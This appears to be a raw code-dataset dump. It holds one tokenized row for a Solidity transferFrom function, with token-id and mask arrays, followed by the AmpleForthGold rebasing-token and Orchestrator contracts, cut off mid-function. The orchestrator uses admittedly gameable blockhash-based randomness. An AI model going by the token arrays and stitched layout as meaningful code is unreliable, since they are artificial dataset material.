file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
./full_match/3/0xE34E9689401Bc5c684F1D3964aeA4f524503af35/sources/browser/TaxaToken.sol | * @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred/ | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
| 8,135,085 | [
1,
5912,
2430,
628,
1245,
1758,
358,
4042,
225,
389,
2080,
1758,
1021,
1758,
1492,
1846,
2545,
358,
1366,
2430,
628,
225,
389,
869,
1758,
1021,
1758,
1492,
1846,
2545,
358,
7412,
358,
225,
389,
1132,
2254,
5034,
326,
3844,
434,
2430,
358,
506,
906,
4193,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
2211,
10019,
203,
3639,
2583,
24899,
1132,
1648,
324,
26488,
63,
67,
2080,
19226,
203,
3639,
2583,
24899,
1132,
1648,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
19226,
203,
203,
3639,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
3639,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
3626,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
//import "openzeppelin-eth/contracts/ownership/Ownable.sol";
//pragma solidity ^0.4.24;
//import "zos-lib/contracts/Initializable.sol";
//pragma solidity >=0.4.24 <0.6.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function initialize(address sender) public initializer {
_owner = sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
//import "openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol";
//pragma solidity ^0.4.24;
//import "./IERC20.sol";
//pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
//import "./lib/SafeMathInt.sol";
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
//pragma solidity 0.4.24;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title uFragments ERC20 token
* @dev This is part of an implementation of the uFragments Ideal Money protocol.
* uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and
* combining tokens proportionally across all wallets.
*
* uFragment balances are internally represented with a hidden denomination, 'gons'.
* We support splitting the currency in expansion and combining the currency on contraction by
* changing the exchange rate between the hidden 'gons' and the public 'fragments'.
*/
contract UFragments is ERC20Detailed, Ownable {
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
// Anytime there is division, there is a risk of numerical instability from rounding errors. In
// order to minimize this risk, we adhere to the following guidelines:
// 1) The conversion rate adopted is the number of gons that equals 1 fragment.
// The inverse rate must not be used--TOTAL_GONS is always the numerator and _totalSupply is
// always the denominator. (i.e. If you want to convert gons to fragments instead of
// multiplying by the inverse rate, you should divide by the normal rate)
// 2) Gon balances converted into Fragments are always rounded down (truncated).
//
// We make the following guarantees:
// - If address 'A' transfers x Fragments to address 'B'. A's resulting external balance will
// be decreased by precisely x Fragments, and B's external balance will be precisely
// increased by x Fragments.
//
// We do not guarantee that the sum of all balances equals the result of calling totalSupply().
// This is because, for any conversion function 'f()' that has non-zero rounding error,
// f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
// Used for authentication
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
bool private rebasePausedDeprecated;
bool private tokenPausedDeprecated;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 50 * 10**6 * 10**DECIMALS;
// TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
// This is denominated in Fragments, because the gons-fragments conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedFragments;
/**
* @param monetaryPolicy_ The address of the monetary policy contract to use for authentication.
*/
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
/**
* @dev Notifies Fragments contract about a new rebase cycle.
* @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
* @return The total number of fragments after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
// From this point forward, _gonsPerFragment is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _gonsPerFragment
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(TOTAL_GONS - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
// _totalSupply = TOTAL_GONS.div(_gonsPerFragment)
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function initialize(address owner_)
public
initializer
{
ERC20Detailed.initialize("AmpleForthGold", "AAU", uint8(DECIMALS));
Ownable.initialize(owner_);
rebasePausedDeprecated = false;
tokenPausedDeprecated = false;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[owner_] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), owner_, _totalSupply);
}
/**
* @return The total number of fragments.
*/
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
//import "./RebaseDelta.sol";
//pragma solidity >=0.4.24;
//import '@uniswap/v2-periphery/contracts/libraries/SafeMath.sol';
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library RB_SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint x, uint y) internal pure returns (uint) {
require(y != 0);
return x / y;
}
}
library RB_UnsignedSafeMath {
function add(int x, int y) internal pure returns (int z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(int x, int y) internal pure returns (int z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(int x, int y) internal pure returns (int z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(int x, int y) internal pure returns (int) {
require(y != 0);
return x / y;
}
}
//import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes /* calldata */ data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/** Calculates the Delta for a rebase based on the ratio
*** between the price of two different token pairs on
*** Uniswap
***
*** - minimalist design
*** - low gas design
*** - free for anyone to call.
***
****/
contract RebaseDelta {
using RB_SafeMath for uint256;
using RB_UnsignedSafeMath for int256;
uint256 private constant PRICE_PRECISION = 10**9;
function getPrice(IUniswapV2Pair pair_, bool flip_)
public
view
returns (uint256)
{
require(address(pair_) != address(0));
(uint256 reserves0, uint256 reserves1, ) = pair_.getReserves();
if (flip_) {
(reserves0, reserves1) = (reserves1, reserves0);
}
// reserves0 = base (probably ETH/WETH)
// reserves1 = token of interest (maybe ampleforthgold or paxusgold etc)
// multiply to equate decimals, multiply up to PRICE_PRECISION
uint256 price = (reserves1.mul(PRICE_PRECISION)).div(reserves0);
return price;
}
// calculates the supply delta for moving the price of token X to the price
// of token Y (with the understanding that they are both priced in a common
// tokens value, i.e. WETH).
function calculate(IUniswapV2Pair X_,
bool flipX_,
uint256 decimalsX_,
uint256 SupplyX_,
IUniswapV2Pair Y_,
bool flipY_,
uint256 decimalsY_)
public
view
returns (int256)
{
uint256 px = getPrice(X_, flipX_);
require(px != uint256(0));
uint256 py = getPrice(Y_, flipY_);
require(py != uint256(0));
uint256 targetSupply = (SupplyX_.mul(py)).div(px);
// adust for decimals
if (decimalsX_ == decimalsY_) {
// do nothing
}
else if (decimalsX_ > decimalsY_) {
uint256 ddg = (10**decimalsX_).div(10**decimalsY_);
require (ddg != uint256(0));
targetSupply = targetSupply.mul(ddg);
}
else {
uint256 ddl = (10**decimalsY_).div(10**decimalsX_);
require (ddl != uint256(0));
targetSupply = targetSupply.div(ddl);
}
int256 delta = int256(SupplyX_).sub(int256(targetSupply));
return delta;
}
}
//==Developed and deployed by the AmpleForthGold Team: https://ampleforth.gold
// With thanks to:
// https://github.com/Auric-Goldfinger
// https://github.com/z0sim0s
// https://github.com/Aurum-hub
/**
* @title Orchestrator
* @notice The orchestrator is the main entry point for rebase operations. It coordinates the rebase
* actions with external consumers (price oracles) and provides timing / access control for when a
* rebase occurs.
*
* Orchestrator is based on Ampleforth.org implmentation with modifications by the AmpleForthgold team.
* It is a merge and modification of the Orchestrator.sol and UFragmentsPolicy.sol from the original
* Ampleforth project. Thanks to the Ampleforth.org team!
*
* Code ideas also come from the RMPL.IO (RAmple Project), YAM team and BASED team.
* Thanks to the all whoose ideas we stole!
*
* We have simplifed the design to lower the gas fees. In some places we have removed things that were
* "nice to have" because of the cost of GAS. Specifically we have lowered the number of events and
* hard coded things that we know are going to be constant (such as not looking up a uniswap pair,
* we just pass the pair pointer into the contract). This was done to save GAS and lower the execution
* cost of the contract.
*
* The Price used for rebase calculations shall be sourced from Uniswap (on chain liquidity pools).
*
* Relying on price Oracles (either on chain or off chain) will never be perfect. Oracles go bad,
* others come good. At present we will use liquidity pools on uniswap to provide the oracles
* for pricing. However those oracles may go bad and need to be replaced. We think that oracle
* failure in the short term is unlikly, but not impossible. In the long term it may be likely
* to see oracle failure. Due to this the contract 'owners' (the AmpleForthGold team) shall
* have an 'off switch' in the code to disable and override rebase operations. At some point
* it may be needed...but we hope it is not needed.
*
*/
contract Orchestrator is Ownable {
using SafeMath for uint16;
using SafeMath for uint256;
using SafeMathInt for int256;
// The ERC20 Token for ampleforthgold
UFragments public afgToken = UFragments(0x8E54954B3Bbc07DbE3349AEBb6EAFf8D91Db5734);
// oracle configuration - see RebaseDelta.sol for details.
RebaseDelta public oracle = RebaseDelta(0xF09402111AF6409B410A8Dd07B82F1cd1674C55F);
IUniswapV2Pair public tokenPairX = IUniswapV2Pair(0x2d0C51C1282c31d71F035E15770f3214e20F6150);
IUniswapV2Pair public tokenPairY = IUniswapV2Pair(0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C);
bool public flipX = false;
bool public flipY = false;
uint8 public decimalsX = 9;
uint8 public decimalsY = 9;
// The timestamp of the last rebase event generated from this contract.
// Technically another contract cauld also cause a rebase event,
// so this cannot be relied on globally. uint64 should not clock
// over in forever.
uint64 public lastRebase = uint64(0);
// The number of rebase cycles since inception. Why the original
// designers did not keep this inside uFragments is a question
// that really deservers an answer? We can use a uint16 cause we
// will be about 179 years old before it clocks over.
uint16 public epoch = 3;
// Transactions are used to generate call back to DEXs that need to be
// informed about rebase events. Specifically with uniswap the function
// on the IUniswapV2Pair.sync() needs to be called so that the
// liquidity pool can reset it reserves to the correct value.
// ...Stable transaction ordering is not guaranteed.
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
Transaction[] public transactions;
/**
* Just initializes the base class.
*/
constructor()
public {
Ownable.initialize(msg.sender);
}
/**
* @notice Owner entry point to initiate a rebase operation.
* @param supplyDelta the delta as passed to afgToken.rebase.
* (the delta needs to be calulated off chain or by the
* calling contract).
* @param disable_ passing true will disable the ability of
* users (other then the owner) to cause a rebase.
*
* The owner can always generate a rebase operation. At some point in the future
* the owners keys shall be burnt. However at this time (and until we are certain
* everthing is working as it should) the owners shall keep their keys.
* The ability for the owners to generate a rebase of any value at any time is a
* carry over from the original ampleforth project. This function is just a little
* more direct.
*/
function ownerForcedRebase(int256 supplyDelta, bool disable_)
external
onlyOwner
{
/* If lastrebase is set to 0 then *users* cannot cause a rebase.
* This should allow the owner to disable the auto-rebase operations if
* things go wrong (see things go wrong above). */
if (disable_) {
lastRebase = uint64(0);
} else {
lastRebase = uint64(block.timestamp);
}
afgToken.rebase(epoch.add(1), supplyDelta);
popTransactionList();
}
/**
* @notice Main entry point to initiate a rebase operation.
* On success returns the new supply value.
*/
function rebase()
external
returns (uint256)
{
// The owner shall call this member for the following reasons:
// (1) Something went wrong and we need a rebase now!
// (2) At some random time at least 24 hours, but no more then 48
// hours after the last rebase.
if (Ownable.isOwner())
{
return internal_rebase();
}
// we require at least 1 owner rebase event prior to being enabled!
require (lastRebase != uint64(0));
// at least 24 hours shall have passed since the last rebase event.
require (lastRebase + 1 days < uint64(block.timestamp));
// if more then 48 hours have passed then allow a rebase from anyone
// willing to pay the GAS.
if (lastRebase + 2 days < uint64(block.timestamp))
{
return internal_rebase();
}
// There is (currently) no way of generating a random number in a
// contract that cannot be seen/used by the miner. Thus a big miner
// could use information on a rebase for their advantage. We do not
// want to give any advantage to a big miner over a little trader,
// thus the traders ability to generate and see a rebase (ahead of time)
// should be about the same as a that of a large miners.
//
// If (in the future) the ability to provide true randomeness
// changes then we would like to re-write this bit of code to provide
// true random rebases where no one gets an advantage.
//
// A day after the last rebase, anyone can call this rebase function
// to generate a rebase. However to give it a little bit of complexity
// and mildly lower the ability of traders/miners to take advantage
// of the rebase we will set the *fair* odds of a rebase() call
// succeeding at 20%. Of course it can still be gamed, but this
// makes gaming it just that little bit harder.
//
// MINERS: To game it the miner would need to adjust his coinbase to
// correctly solve the xor with the preceeding block hashs,
// That is do-able, but the miner would need to go out of there
// way to do it...but no perfect solutions so this is it at the
// moment.
//
// TRADERS: To game it they could just call this function many times
// until it triggers. They have a 20% chance of triggering each
// time they call it. They could get lucky, or they could burn a lot of
// GAS. Whatever they do it will be obvious from the many calls to this
// function.
uint256 odds = uint256(blockhash(block.number - 1)) ^ uint256(block.coinbase);
if ((odds % uint256(5)) == uint256(1))
{
return internal_rebase();
}
// no change, no rebase!
return uint256(0);
}
/**
* @notice Internal entry point to initiate a rebase operation.
* If we get here then a rebase call to the erc20 token
* will occur.
*
* returns the new supply value.
*/
function internal_rebase()
private
